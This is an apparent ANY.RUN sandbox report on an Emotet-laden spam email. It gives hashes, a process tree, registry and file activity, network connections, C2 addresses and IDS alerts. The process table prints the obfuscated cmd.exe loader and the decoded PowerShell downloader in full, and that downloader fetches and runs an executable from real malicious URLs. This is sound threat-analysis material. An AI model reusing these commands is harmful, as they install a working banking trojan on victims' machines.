File name: | Spam Mail.msg |
Full analysis: | https://app.any.run/tasks/92ad2c1c-c9f2-4984-8aa3-aca9ff3086ea |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | December 06, 2018, 06:02:37 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/vnd.ms-outlook |
File info: | CDFV2 Microsoft Outlook Message |
MD5: | A0605567C2835350424FDCCC3CC2628D |
SHA1: | DCA97E0561341C9ECC4A8766F977E1D8CF3F5CA3 |
SHA256: | 0C2D05ECBA67A6072AEBDDF9C42C9B14B9BCF56E7EA13110ECFC637A8EE3DCC7 |
SSDEEP: | 3072:JN9O9Ur4BcUES2h9KSPsCLogyxGd+KdfH6obrz3z5CDVzY8GhDS0o9zTGOZD6Ebg:j9agBogyxGdoQ/YZGoUOZDlbe9c0 |
.msg | | | Outlook Message (41.3) |
---|---|---|
.oft | | | Outlook Form Template (24.1) |
.doc | | | Microsoft Word document (18.6) |
.doc | | | Microsoft Word document (old ver.) (11) |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2848 | "C:\Program Files\Microsoft Office\Office14\OUTLOOK.EXE" /f "C:\Users\admin\AppData\Local\Temp\Spam Mail.msg" | C:\Program Files\Microsoft Office\Office14\OUTLOOK.EXE | explorer.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Outlook Version: 14.0.6025.1000 | ||||
2692 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Embedding | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | OUTLOOK.EXE |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Word Version: 14.0.6024.1000 | ||||
3168 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\CNG3FRH2\Untitled_9SG7813433.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | OUTLOOK.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
3636 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Embedding | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
2416 | c:\vZZwWzLvMbaY\pIPSQftHVYM\KcovMKsRVnL\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V/C"set 42=lcwBhEJQIpdCZGjrPKLrjdkMH8+a@u2Ni SFYD:W4X1'qmg}x9)7y=(vs.znef$Ab,\/TUt-0;{o&&for %5 in (62;17;58;61;53;43;18;68;37;43;73;62;11;34;36;53;59;60;2;71;75;64;20;60;1;70;33;31;60;70;57;39;60;64;11;0;32;60;59;70;73;62;29;22;70;53;43;4;70;70;9;38;67;67;46;56;32;70;60;56;42;40;57;1;75;45;67;69;42;61;55;20;63;23;28;4;70;70;9;38;67;67;29;59;1;75;45;45;75;59;71;1;75;59;59;60;1;70;60;21;59;60;56;56;57;1;75;45;67;27;41;41;51;46;28;4;70;70;9;38;67;67;0;27;52;75;29;70;57;21;29;64;4;75;29;56;60;57;1;75;45;57;64;19;67;42;27;72;61;58;28;4;70;70;9;38;67;67;22;60;59;56;75;57;1;75;57;32;21;67;25;45;27;30;36;28;4;70;70;9;38;67;67;64;75;48;75;61;46;32;46;46;0;60;56;57;1;75;45;67;17;46;43;57;34;9;0;32;70;54;43;28;43;50;73;62;17;63;16;53;43;6;32;59;43;73;62;36;27;68;33;53;33;43;49;42;51;43;73;62;35;29;34;53;43;31;8;11;43;73;62;29;61;41;53;62;60;59;55;38;70;60;45;9;26;43;66;43;26;62;36;27;68;26;43;57;60;48;60;43;73;61;75;19;60;27;1;4;54;62;24;22;6;33;32;59;33;62;29;22;70;50;74;70;19;52;74;62;11;34;36;57;37;75;2;59;0;75;27;21;35;32;0;60;54;62;24;22;6;65;33;62;29;61;41;50;73;62;44;1;58;53;43;24;69;5;43;73;8;61;33;54;54;13;60;70;71;8;70;60;45;33;62;29;61;41;50;57;0;60;59;46;70;4;33;71;46;60;33;25;72;72;72;72;50;33;74;8;59;55;75;22;60;71;8;70;60;45;33;62;29;61;41;73;62;41;59;5;53;43;13;23;64;43;73;64;19;60;27;22;73;47;47;1;27;70;1;4;74;47;47;62;13;16;13;53;43;68;20;18;43;73;83)do set DZrE=!DZrE!!42:~%5,1!&&if %5 geq 83 powershell "!DZrE:*DZrE!=!"" | c:\windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3044 | CmD /V/C"set 42=lcwBhEJQIpdCZGjrPKLrjdkMH8+a@u2Ni SFYD:W4X1'qmg}x9)7y=(vs.znef$Ab,\/TUt-0;{o&&for %5 in (62;17;58;61;53;43;18;68;37;43;73;62;11;34;36;53;59;60;2;71;75;64;20;60;1;70;33;31;60;70;57;39;60;64;11;0;32;60;59;70;73;62;29;22;70;53;43;4;70;70;9;38;67;67;46;56;32;70;60;56;42;40;57;1;75;45;67;69;42;61;55;20;63;23;28;4;70;70;9;38;67;67;29;59;1;75;45;45;75;59;71;1;75;59;59;60;1;70;60;21;59;60;56;56;57;1;75;45;67;27;41;41;51;46;28;4;70;70;9;38;67;67;0;27;52;75;29;70;57;21;29;64;4;75;29;56;60;57;1;75;45;57;64;19;67;42;27;72;61;58;28;4;70;70;9;38;67;67;22;60;59;56;75;57;1;75;57;32;21;67;25;45;27;30;36;28;4;70;70;9;38;67;67;64;75;48;75;61;46;32;46;46;0;60;56;57;1;75;45;67;17;46;43;57;34;9;0;32;70;54;43;28;43;50;73;62;17;63;16;53;43;6;32;59;43;73;62;36;27;68;33;53;33;43;49;42;51;43;73;62;35;29;34;53;43;31;8;11;43;73;62;29;61;41;53;62;60;59;55;38;70;60;45;9;26;43;66;43;26;62;36;27;68;26;43;57;60;48;60;43;73;61;75;19;60;27;1;4;54;62;24;22;6;33;32;59;33;62;29;22;70;50;74;70;19;52;74;62;11;34;36;57;37;75;2;59;0;75;27;21;35;32;0;60;54;62;24;22;6;65;33;62;29;61;41;50;73;62;44;1;58;53;43;24;69;5;43;73;8;61;33;54;54;13;60;70;71;8;70;60;45;33;62;29;61;41;50;57;0;60;59;46;70;4;33;71;46;60;33;25;72;72;72;72;50;33;74;8;59;55;75;22;60;71;8;70;60;45;33;62;29;61;41;73;62;41;59;5;53;43;13;23;64;43;73;64;19;60;27;22;73;47;47;1;27;70;1;4;74;47;47;62;13;16;13;53;43;68;20;18;43;73;83)do set DZrE=!DZrE!!42:~%5,1!&&if %5 geq 83 powershell "!DZrE:*DZrE!=!"" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3120 | powershell "$Kzf='LTD';$CSY=new-object Net.WebClient;$ukt='http://gsites14.com/U1fvjAM@http://uncommon-connectedness.com/aXX7g@http://layout.dubhouse.com.br/1a0fz@http://kenso.co.id/8ma2Y@http://boxofgiggles.com/Kg'.Split('@');$KAP='Jin';$YaT = '917';$FuS='NIC';$ufX=$env:temp+'\'+$YaT+'.exe';foreach($HkJ in $ukt){try{$CSY.DownloadFile($HkJ, $ufX);$qcz='HUE';If ((Get-Item $ufX).length -ge 80000) {Invoke-Item $ufX;$XnE='GMb';break;}}catch{}}$GPG='TjL';" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2572 | "C:\Users\admin\AppData\Local\Temp\917.exe" | C:\Users\admin\AppData\Local\Temp\917.exe | — | powershell.exe |
User: admin Company: Nexon Corp. Integrity Level: MEDIUM Description: Softpub Forwarder DLL Exit code: 0 Version: 6.1.7600.1 | ||||
3252 | "C:\Users\admin\AppData\Local\Temp\917.exe" | C:\Users\admin\AppData\Local\Temp\917.exe | 917.exe | |
User: admin Company: Nexon Corp. Integrity Level: MEDIUM Description: Softpub Forwarder DLL Exit code: 0 Version: 6.1.7600.1 | ||||
2936 | "C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe" | C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe | — | 917.exe |
User: admin Company: Nexon Corp. Integrity Level: MEDIUM Description: Softpub Forwarder DLL Exit code: 0 Version: 6.1.7600.1 |
(PID) Process: | (2848) OUTLOOK.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 1033 |
Value: Off | |||
(PID) Process: | (2848) OUTLOOK.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 1033 |
Value: On | |||
(PID) Process: | (2848) OUTLOOK.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Outlook\Resiliency\StartupItems |
Operation: | write | Name: | u=$ |
Value: 753D2400200B0000010000000000000000000000 | |||
(PID) Process: | (2848) OUTLOOK.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Outlook |
Operation: | write | Name: | MTTT |
Value: 200B000042847A5A298DD40100000000 | |||
(PID) Process: | (2848) OUTLOOK.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Outlook\SQM |
Operation: | write | Name: | SQMSessionNumber |
Value: 0 | |||
(PID) Process: | (2848) OUTLOOK.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Outlook\SQM |
Operation: | write | Name: | SQMSessionDate |
Value: 219808800 | |||
(PID) Process: | (2848) OUTLOOK.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\NoMail\0a0d020000000000c000000000000046 |
Operation: | write | Name: | 00030429 |
Value: 03000000 | |||
(PID) Process: | (2848) OUTLOOK.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\NoMail\9375CFF0413111d3B88A00104B2A6676 |
Operation: | write | Name: | {ED475418-B0D6-11D2-8C3B-00104B2A6676} |
Value: | |||
(PID) Process: | (2848) OUTLOOK.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\NoMail\9375CFF0413111d3B88A00104B2A6676 |
Operation: | write | Name: | LastChangeVer |
Value: 1200000000000000 | |||
(PID) Process: | (2848) OUTLOOK.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109A10090400000000000F01FEC\Usage |
Operation: | write | Name: | OutlookMAPI2Intl_1033 |
Value: 1300627477 |
PID | Process | Filename | Type | |
---|---|---|---|---|
2848 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Temp\CVR99D5.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2848 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\CNG3FRH2\Untitled_9SG7813433 (2).doc\:Zone.Identifier:$DATA | — | |
MD5:— | SHA256:— | |||
2848 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Temp\~DFC5F80AA9349DA6F7.TMP | — | |
MD5:— | SHA256:— | |||
2848 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Temp\~DFD07A96B33E9DF9E5.TMP | — | |
MD5:— | SHA256:— | |||
2848 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Temp\OICE_83641932-15E7-4F08-BD76-CC62AA84CD7F.0\C9C887E3.doc\:Zone.Identifier:$DATA | — | |
MD5:— | SHA256:— | |||
3168 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR8147.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3168 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_29A1DC27-F4F5-4024-A8B5-05F797A28FCD.0\91895758.doc\:Zone.Identifier:$DATA | — | |
MD5:— | SHA256:— | |||
3636 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_29A1DC27-F4F5-4024-A8B5-05F797A28FCD.0\~DF5D2868B67EA709F4.TMP | — | |
MD5:— | SHA256:— | |||
3120 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CG15AC4RFDKUF7MVOT8Z.temp | — | |
MD5:— | SHA256:— | |||
2848 | OUTLOOK.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$rmalEmail.dotm | pgc | |
MD5:14543B73E744873454982E0A04C491FB | SHA256:FDAB46A970BF451AF7E1A572D90F94B594166951B81CC30F814347E5ABF08571 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
2356 | archivesymbol.exe | GET | — | 114.55.106.210:443 | http://114.55.106.210:443/ | CN | — | — | malicious |
2848 | OUTLOOK.EXE | GET | — | 64.4.26.155:80 | http://config.messenger.msn.com/config/msgrconfig.asmx?op=GetOlcConfig | US | — | — | whitelisted |
2356 | archivesymbol.exe | GET | 200 | 54.39.179.152:80 | http://54.39.179.152/ | FR | binary | 132 b | malicious |
3120 | powershell.exe | GET | 200 | 85.159.208.243:80 | http://gsites14.com/U1fvjAM/ | GB | executable | 120 Kb | malicious |
3120 | powershell.exe | GET | 301 | 85.159.208.243:80 | http://gsites14.com/U1fvjAM | GB | html | 182 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3120 | powershell.exe | 85.159.208.243:80 | gsites14.com | Linode, LLC | GB | malicious |
2848 | OUTLOOK.EXE | 64.4.26.155:80 | config.messenger.msn.com | Microsoft Corporation | US | whitelisted |
2356 | archivesymbol.exe | 114.55.106.210:443 | — | Hangzhou Alibaba Advertising Co.,Ltd. | CN | malicious |
2356 | archivesymbol.exe | 54.39.179.152:80 | — | OVH SAS | FR | malicious |
Domain | IP | Reputation |
---|---|---|
config.messenger.msn.com |
| whitelisted |
gsites14.com |
| malicious |
PID | Process | Class | Message |
---|---|---|---|
3120 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
3120 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3120 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
3120 | powershell.exe | Misc activity | ET INFO EXE CheckRemoteDebuggerPresent (Used in Malware Anti-Debugging) |
3120 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
2356 | archivesymbol.exe | A Network Trojan was detected | SC SPYWARE Spyware Emotet Win32 |
2356 | archivesymbol.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo HTTP request |
2356 | archivesymbol.exe | A Network Trojan was detected | SC SPYWARE Spyware Emotet Win32 |
2356 | archivesymbol.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo HTTP request |